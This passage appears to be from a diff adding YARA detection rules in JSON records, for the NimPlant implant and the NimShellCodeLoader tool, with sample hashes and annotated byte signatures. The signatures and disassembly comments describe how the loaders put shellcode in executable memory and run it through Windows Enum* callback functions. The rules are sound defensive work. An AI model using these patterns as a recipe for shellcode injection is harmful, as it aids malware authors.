\"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b8a49d5a3669a344760d3314c10285d77925edf9c3c5ad3b811d58b206836a85\n        // e192e15e0b9ba7633b75cc999b34f2767fa0c104863a988f089f4439dfc12aa6\n        // ca14c9e2ea339dbf54c66f453cbe5c6a6a1d39df53f658fbd9b3dba16d95809a\n        // 6bea235ca0425778f4ed3dbdd180b79598829e010e4897d0f4fde9166b35e185\n        // 03ac041a85be1856f8d886e396474fbe669292c338616f1d47e3f8ce8385a8d9\n        // a0fd909ac4bee33ba5f243dfbdef41bd72407fdd066669f9368a55eb846da49c\n        // 1e7ce4a0923b5d2b5a45f9a999e0ba52e6b809dd3271a4cc9ca96a07d5c94f81\n        // db115c247367b8a7eb88310edcc097c6f60e82350c15122947cdff56b2c12003\n\n        $nim1 = \"fatal.nim\" ascii fullword\n        $nim2 = \"NimMain\" ascii fullword\n\n        $s_nim1 = \"getAv\" ascii fullword\n        $s_nim2 = \"getLocalAdm\" ascii fullword\n        $s_nim3 = \"@NimPlant v\" ascii fullword\n        $s_nim4 = \"@X-Identifier\" ascii fullword\n        $s_nim5 = \"adler32_simd.nim\" ascii fullword\n        $s_nim6 = \"zippy.nim\" ascii fullword\n        $s_nim7 = \"puppy.nim\" ascii fullword\n\n        $listener1 = \"killDate\" ascii\n        $listener2 = \"userAgent\" ascii\n        $listener3 = \"listenerType\" ascii\n        $listener4 = \"listenerRegPath\" ascii\n        $listener5 = \"listenerTaskPath\" ascii\n\n        $config1 = \"# NIMPLANT CONFIGURATION\" ascii\n        $config2 = \"# Enable Ekko sleep mask instead of a regular sleep() call\" ascii\n        $config3 = \"# Configure the kill date for Nimplants (format: yyyy-MM-dd)\" ascii\n        $config4 = \"# Configure the user-agent that NimPlants use to connect\" ascii\n\n        $x1 = {\n            48 89 DA                      // mov     rdx, rbx\n            48 83 C3 01                   // add     rbx, 1\n            48 C1 FA 18                   // sar     rdx, 18h\n            42 30 54 20 08                // xor     [rax+r12+8], dl\n            49 83 C4 01                   // add     r12, 1\n            0F ?? ?? FF FF FF             // jno     loc_38FABA865\n        }\n\n        $x2 = {\n            48 89 DA                      // mov     rdx, rbx\n            48 C1 FA 10                   // sar     rdx, 10h\n            42 30 54 20 08                // xor     [rax+r12+8], dl\n            48 8B 44 24 48                // mov     rax, qword ptr [rsp+78h+var_38+8]\n            48 85 C0                      // test    rax, rax\n            0F ?? ?? FF FF FF             // jnz     loc_38FABA907\n        }\n\n        $s_rust1 = \"%Y-%m-%d %H:%M[FILE][DIR]\"\n        $s_rust2 = \"%Y-%m-%d %H:%Msrc/app/commands/\" ascii\n        $s_rust3 = \"HKEY_CURRENT_CONFIGadddeleteunknown1cmd/CSystem.Reflection.AssemblySystem.Reflection.Assembly\" ascii\n        $s_rust4 = \"System.Management.Automation.Runspaces.Runspace CreateRunspace()DisposeOpenCommands\"\n        $s_rust5 = \"X-IdentifierX-Unique-IDContent-Typeapplication/jsonapplication/octet-stream\" ascii\n        $s_rust6 = \"__imp____imp_ntdll.dllNtOpenProcessNtAllocateVirtualMemoryNtWriteVirtualMemoryNtProtectVirtualMemoryNtCreateThreadExNimPlant v\"\n        $s_rust7 = \"src\\\\app\\\\commands\\\\execute_assembly.rs\" ascii\n\n    condition:\n        (\n            1 of ($nim*) and\n            (\n                uint16(0) == 0x5a4d and\n                4 of ($s_nim*)\n            )\n            or\n            (\n                all of ($x*)\n            )\n            or\n            (\n                3 of ($listener*) and\n                1 of ($config*)\n            )\n        )\n        or\n        (\n            2 of ($s_rust*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nimplant"
+  ],
+  "rule_creation_date": "2025-03-28",
+  "rule_modified_date": "2025-05-09",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.NimImplant"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nimshellcodeloader_59dbafdddef1_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573026Z",
+  "creation_date": "2026-03-23T11:46:25.573030Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573039Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/aeverj/NimShellCodeLoader\nhttps://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671"
+  ],
+  "name": "nimshellcodeloader_59dbafdddef1.yar",
+  "content": "rule nimshellcodeloader_59dbafdddef1 {\n    meta:\n        title = \"NimShellCodeLoader (59dbafdddef1)\"\n        id = \"07c710c6-f7c4-424a-93b5-59dbafdddef1\"\n        description = \"Detects NimShellCodeLoader, a shellcode loader for Windows.\\nIt uses various system functions to locate and inject shellcode into target processes, enabling persistence and privilege escalation.\\nThe rule identifies patterns associated with its memory allocation and injection techniques, including the use of functions like VirtualAlloc and memmove to prepare and execute shellcode payloads.\"\n        references = \"https://github.com/aeverj/NimShellCodeLoader\\nhttps://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671\"\n        date = \"2024-03-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.t1005;attack.exfiltration;attack.t1567\"\n        classification = \"Windows.Loader.NimShellCodeLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // d34bc5060dd7e433bd11f16fb7f2ef289511476a2ba32721078483fbc0372024\n        // 41f40f8bbaeaeb811e5a9f8ba7870e6165fc749fe1121d09da30b127291ef351\n        // 40f8ca4c9f19d0330e42c98b9d0396b9f0caf191c6a544df4e4edb6837ed542c\n        // ff261192a1defd66fcd5924e04c04cf255859beda3a02bb58dfe6d3e211d9c04\n\n        // EnumChildWindows.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumChildWindows.nim\n        $enum_child_windows_s1 = \"parseHexStr\" ascii fullword\n        $enum_child_windows_s2 = \"EnumChildWindows\" ascii fullword\n\n        $enum_child_windows_x1 ={\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F0E\n\n                                        // sub_140006F36\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $enum_child_windows_x2 ={\n            48 83 EC 28                                   // sub     rsp, 28h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D3                                      // mov     rbx, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 D8                                      // mov     r8, rbx         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            E8 ?? ?? ?? 00                                // call    memmove\n            45 31 C0                                      // xor     r8d, r8d        ; lParam\n            31 C9                                         // xor     ecx, ecx        ; hWndParent\n            48 89 C2                                      // mov     rdx, rax        ; lpEnumFunc\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_EnumChildWindows\n            90                                            // nop\n        }\n\n        // EnumDesktopW.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumDesktopW.nim\n        $enum_desktopw_s1 = \"parseHexStr\" ascii fullword\n        $enum_desktopw_s2 = \"EnumDesktopsW\" ascii fullword\n\n        $enum_desktopw_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F0E\n\n                                        // sub_140006F36\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $enum_desktopw_x2 = {\n            48 83 EC 20                                   // sub     rsp, 20h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D3                                      // mov     rbx, rdx\n            49 89 CD                                      // mov     r13, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 D8                                      // mov     r8, rbx         ; Size\n            4C 89 EA                                      // mov     rdx, r13        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            49 89 C4                                      // mov     r12, rax\n            E8 ?? ?? ?? 00                                // call    memmove\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_GetProcessWindowStation\n            45 31 C0                                      // xor     r8d, r8d        ; lParam\n            4C 89 E2                                      // mov     rdx, r12        ; lpEnumFunc\n            48 89 C1                                      // mov     rcx, rax        ; hwinsta\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_EnumDesktopsW\n            90                                            // nop\n        }\n\n        // EnumDesktopWindows.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumDesktopWindows.nim\n        $enum_desktop_windows_s1 = \"parseHexStr\" ascii fullword\n        $enum_desktop_windows_s2 = \"EnumDesktopWindows\" ascii fullword\n\n        $enum_desktop_windows_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F0E\n\n                                        // sub_140006F36\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $enum_desktop_windows_x2 = {\n            48 83 EC 20                                   // sub     rsp, 20h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D3                                      // mov     rbx, rdx\n            49 89 CD                                      // mov     r13, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 D8                                      // mov     r8, rbx         ; Size\n            4C 89 EA                                      // mov     rdx, r13        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            49 89 C4                                      // mov     r12, rax\n            E8 ?? ?? ?? 00                                // call    memmove\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_GetCurrentThreadId\n            89 C1                                         // mov     ecx, eax        ; dwThreadId\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_GetThreadDesktop\n            45 31 C0                                      // xor     r8d, r8d        ; lParam\n            4C 89 E2                                      // mov     rdx, r12        ; lpfn\n            48 89 C1                                      // mov     rcx, rax        ; hDesktop\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_EnumDesktopWindows\n            90                                            // nop\n        }\n\n        // EnumDirTreeW.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumDirTreeW.nim\n        $enum_dir_tree_s1 = \"parseHexStr\" ascii fullword\n        $enum_dir_tree_s2 = \"EnumDirTreeW\" ascii fullword\n\n        $enum_dir_tree_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F0E\n\n                                        // sub_140006F36\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $enum_dir_tree_x2 = {\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            48 89 F2                                      // mov     rdx, rsi        ; dwSize\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            49 89 C4                                      // mov     r12, rax\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 F0                                      // mov     r8, rsi         ; Size\n            4C 89 EA                                      // mov     rdx, r13        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            48 89 C3                                      // mov     rbx, rax\n            E8 ?? ?? ?? 00                                // call    memmove\n            48 8B 35 ?? ?? ?? 00                          // mov     rsi, cs:__imp_GetCurrentProcess\n            FF D6                                         // call    rsi ; __imp_GetCurrentProcess\n            41 B8 01 00 00 00                             // mov     r8d, 1\n            31 D2                                         // xor     edx, edx\n            48 89 C1                                      // mov     rcx, rax\n            41 FF D4                                      // call    r12\n            FF D6                                         // call    rsi ; __imp_GetCurrentProcess\n            48 89 5C 24 20                                // mov     [rsp+478h+var_458], rbx\n            4C 8D 4C 24 3C                                // lea     r9, [rsp+478h+var_43C]\n            4C 8D 05 ?? ?? ?? 00                          // lea     r8, aLog        ; \"*.log\"\n            48 C7 44 24 28 00 00 00 00                    // mov     [rsp+478h+var_450], 0\n            48 89 C1                                      // mov     rcx, rax\n            48 8D 15 ?? ?? ?? 00                          // lea     rdx, aCWindows  ; \"C:\\\\Windows\"\n            FF D7                                         // call    rdi\n            90                                            // nop\n        }\n\n        // EnumDisplayMonitors.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumDisplayMonitors.nim\n        $enum_display_monitors_s1 = \"parseHexStr\" ascii fullword\n        $enum_display_monitors_s2 = \"EnumDisplayMonitors\" ascii fullword\n\n        $enum_display_monitors_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F0E\n\n                                        // sub_140006F36\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $enum_display_monitors_x2 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D3                                      // mov     rbx, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 D8                                      // mov     r8, rbx         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            E8 ?? ?? ?? 00                                // call    memmove\n            45 31 C9                                      // xor     r9d, r9d        ; dwData\n            31 D2                                         // xor     edx, edx        ; lprcClip\n            31 C9                                         // xor     ecx, ecx        ; hdc\n            49 89 C0                                      // mov     r8, rax         ; lpfnEnum\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_EnumDisplayMonitors\n            90                                            // nop\n        }\n\n        // EnumFontFamiliesExW.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumFontFamiliesExW.nim\n        $enum_font_familiesex_s1 = \"parseHexStr\" ascii fullword\n        $enum_font_familiesex_s2 = \"EnumFontFamiliesExW\" ascii fullword\n\n        $enum_font_familiesex_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F0E\n\n                                        // sub_140006F36\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $enum_font_familiesex_x2 = {\n            48 81 EC 98 00 00 00                          // sub     rsp, 98h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D6                                      // mov     rsi, rdx\n            49 89 CC                                      // mov     r12, rcx\n            48 8D 7C 24 34                                // lea     rdi, [rsp+0B8h+Logfont]\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 F0                                      // mov     r8, rsi         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            48 89 C3                                      // mov     rbx, rax\n            E8 ?? ?? ?? 00                                // call    memmove\n            31 C0                                         // xor     eax, eax\n            B9 17 00 00 00                                // mov     ecx, 17h        ; hWnd\n            F3 AB                                         // rep stosd\n            C6 44 24 4B 01                                // mov     [rsp+0B8h+Logfont.lfCharSet], 1\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_GetDC\n            48 8D 54 24 34                                // lea     rdx, [rsp+0B8h+Logfont] ; lpLogfont\n            45 31 C9                                      // xor     r9d, r9d        ; lParam\n            49 89 D8                                      // mov     r8, rbx         ; lpProc\n            C7 44 24 20 00 00 00 00                       // mov     [rsp+0B8h+dwFlags], 0 ; dwFlags\n            48 89 C1                                      // mov     rcx, rax        ; hdc\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_EnumFontFamiliesExW\n            90                                            // nop\n        }\n\n        // EnumFontFamiliesW.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumFontFamiliesW.nim\n        $enum_font_familiesw_s1 = \"parseHexStr\" ascii fullword\n        $enum_font_familiesw_s2 = \"EnumFontFamiliesW\" ascii fullword\n\n        $enum_font_familiesw_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F27\n\n                                        // sub_140006F4F\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E9 ?? ?? FF FF                                // jmp     sub_140006ED0\n\n                                        // sub_140006F68\n            EB E5                                         // jmp     short sub_140006F4F\n        }\n\n        $enum_font_familiesw_x2 = {\n            48 83 EC 20                                   // sub     rsp, 20h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D6                                      // mov     rsi, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 F0                                      // mov     r8, rsi         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            48 89 C3                                      // mov     rbx, rax\n            E8 ?? ?? ?? 00                                // call    memmove\n            31 C9                                         // xor     ecx, ecx        ; hWnd\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_GetDC\n            45 31 C9                                      // xor     r9d, r9d        ; lParam\n            49 89 D8                                      // mov     r8, rbx         ; lpProc\n            31 D2                                         // xor     edx, edx        ; lpLogfont\n            48 89 C1                                      // mov     rcx, rax        ; hdc\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_EnumFontFamiliesW\n            31 C0                                         // xor     eax, eax\n            48 83 C4 20                                   // add     rsp, 20h\n            5B                                            // pop     rbx\n            5E                                            // pop     rsi\n            41 5C                                         // pop     r12\n            C3                                            // retn\n        }\n\n        // EnumFontsW.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumFontsW.nim\n        $enum_fontsw_s1 = \"parseHexStr\" ascii fullword\n        $enum_fontsw_s2 = \"EnumFontsW\" ascii fullword\n\n        $enum_fontsw_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F27\n\n                                        // sub_140006F4F\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E9 ?? ?? FF FF                                // jmp     sub_140006ED0\n\n                                        // sub_140006F68\n            EB E5                                         // jmp     short sub_140006F4F\n        }\n\n        $enum_fontsw_x2 = {\n            48 83 EC 20                                   // sub     rsp, 20h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D6                                      // mov     rsi, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 F0                                      // mov     r8, rsi         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            48 89 C3                                      // mov     rbx, rax\n            E8 ?? ?? ?? 00                                // call    memmove\n            31 C9                                         // xor     ecx, ecx        ; hWnd\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_GetDC\n            45 31 C9                                      // xor     r9d, r9d        ; lParam\n            49 89 D8                                      // mov     r8, rbx         ; lpProc\n            31 D2                                         // xor     edx, edx        ; lpLogfont\n            48 89 C1                                      // mov     rcx, rax        ; hdc\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_EnumFontsW\n            31 C0                                         // xor     eax, eax\n            48 83 C4 20                                   // add     rsp, 20h\n            5B                                            // pop     rbx\n            5E                                            // pop     rsi\n            41 5C                                         // pop     r12\n            C3                                            // retn\n        }\n\n        // EnumLanguageGroupLocalesW.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumLanguageGroupLocalesW.nim\n        $enum_language_group_localesw_s1 = \"parseHexStr\" ascii fullword\n        $enum_language_group_localesw_s2 = \"EnumLanguageGroupLocalesW\" ascii fullword\n\n        $enum_language_group_localesw_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F0E\n\n                                        // sub_140006F36\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $enum_language_group_localesw_x2 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D3                                      // mov     rbx, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 D8                                      // mov     r8, rbx         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            E8 ?? ?? ?? 00                                // call    memmove\n            45 31 C9                                      // xor     r9d, r9d        ; lParam\n            45 31 C0                                      // xor     r8d, r8d        ; dwFlags\n            BA 0D 00 00 00                                // mov     edx, 0Dh        ; LanguageGroup\n            48 89 C1                                      // mov     rcx, rax        ; lpLangGroupLocaleEnumProc\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_EnumLanguageGroupLocalesW\n            90                                            // nop\n        }\n\n        // EnumObjects.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/EnumObjects.nim\n        $enum_objects_s1 = \"parseHexStr\" ascii fullword\n        $enum_objects_s2 = \"EnumObjects\" ascii fullword\n\n        $enum_objects_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F0E\n\n                                        // sub_140006F36\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $enum_objects_x2 = {\n            48 83 EC 20                                   // sub     rsp, 20h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D6                                      // mov     rsi, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 F0                                      // mov     r8, rsi         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            48 89 C3                                      // mov     rbx, rax\n            E8 ?? ?? ?? 00                                // call    memmove\n            31 C9                                         // xor     ecx, ecx        ; hWnd\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_GetDC\n            45 31 C9                                      // xor     r9d, r9d        ; lParam\n            49 89 D8                                      // mov     r8, rbx         ; lpFunc\n            BA 02 00 00 00                                // mov     edx, 2          ; nType\n            48 89 C1                                      // mov     rcx, rax        ; hdc\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_EnumObjects\n            